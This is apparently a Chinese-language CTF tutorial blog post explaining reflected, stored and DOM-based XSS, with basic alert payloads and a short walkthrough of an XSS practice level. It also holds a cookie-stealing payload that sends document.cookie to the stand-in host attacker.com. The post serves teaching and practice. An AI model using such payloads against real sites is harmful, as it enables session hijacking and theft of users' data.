想必大家都有在網站上「留言互動」或看到頁面會顯示自己輸入內容的經驗吧?
像是在心得區打句話、在商品評論留評價,然後畫面就把你那句話原封不動顯示出來──看似無害,卻可能藏著危險
XSS(Cross-Site Scripting)是指攻擊者把惡意 JavaScript(或其他可在瀏覽器執行的程式碼)注入到網站,當其他使用者或目標瀏覽該頁面時,瀏覽器會執行這段惡意程式碼,進而造成資料洩漏或會話劫持等後果。
在 CTF/練習場景裡,我們通常用 XSS 來做:
img
或 fetch
)使用者輸入被即時回顯在回應中(通常透過 GET/POST 參數),例如搜尋結果、錯誤訊息等。攻擊常用 crafted URL 引誘受害者點擊,惡意腳本就會在受害者瀏覽器執行。
簡單測試:在 URL 或表單參數插入 <script>alert(1)</script>
,看頁面是否彈窗或回顯。
惡意腳本被儲存在伺服器(例如留言板、profile、留言欄),之後所有檢視該內容的使用者都會執行這段腳本。這種影響最大,因為攻擊可擴散到多名使用者。
情境:在留言板貼上 <img src=x onerror=alert(1)>
→ 其他人刷新該頁就會被觸發。
漏洞不在伺服器端,而是在前端 JavaScript 處理 DOM 或 location/hash、innerHTML
等時把不可信輸入直接插入 DOM。這類 XSS 只在客戶端發生,伺服器不會記錄惡意 payload。
測試點:查看前端程式碼(或在 console 動態改 location.hash)看是否把 location.hash
/ location.search
等直接寫進 innerHTML
、document.write
等。
這些 payload 用於測試與練習。實戰時請避免對未授權系統使用。
最簡單(探測):
<script>alert(1)</script>
圖片 onerror(繞過常見過濾):
<img src=x onerror=alert(1)>
透過 event handler:
<svg onload=alert(1)>
DOM 型測試(location.hash):
將 #<script>alert(1)</script>
加到 URL,看前端是否插入
把資料傳回你可控伺服器:
<script>new Image().src='https://attacker.com/?c='+document.cookie</script>
或用 fetch()
、XMLHttpRequest
。在 CTF 裡通常搭配可監控的回收域名
接下來來看今天的題目吧(picoCTF好像沒有XSS題TT)
打開之後有一些說明之類的,下面的網頁就是我們的目標
有一個可以輸入的地方,嘗試輸入最基礎的payload<script>alert(1)</script>
攻擊成功這一關就過了
總共有六關,大家一起去試一試吧~
以上就是今天的內容啦
想看更多,記得明天再來喔~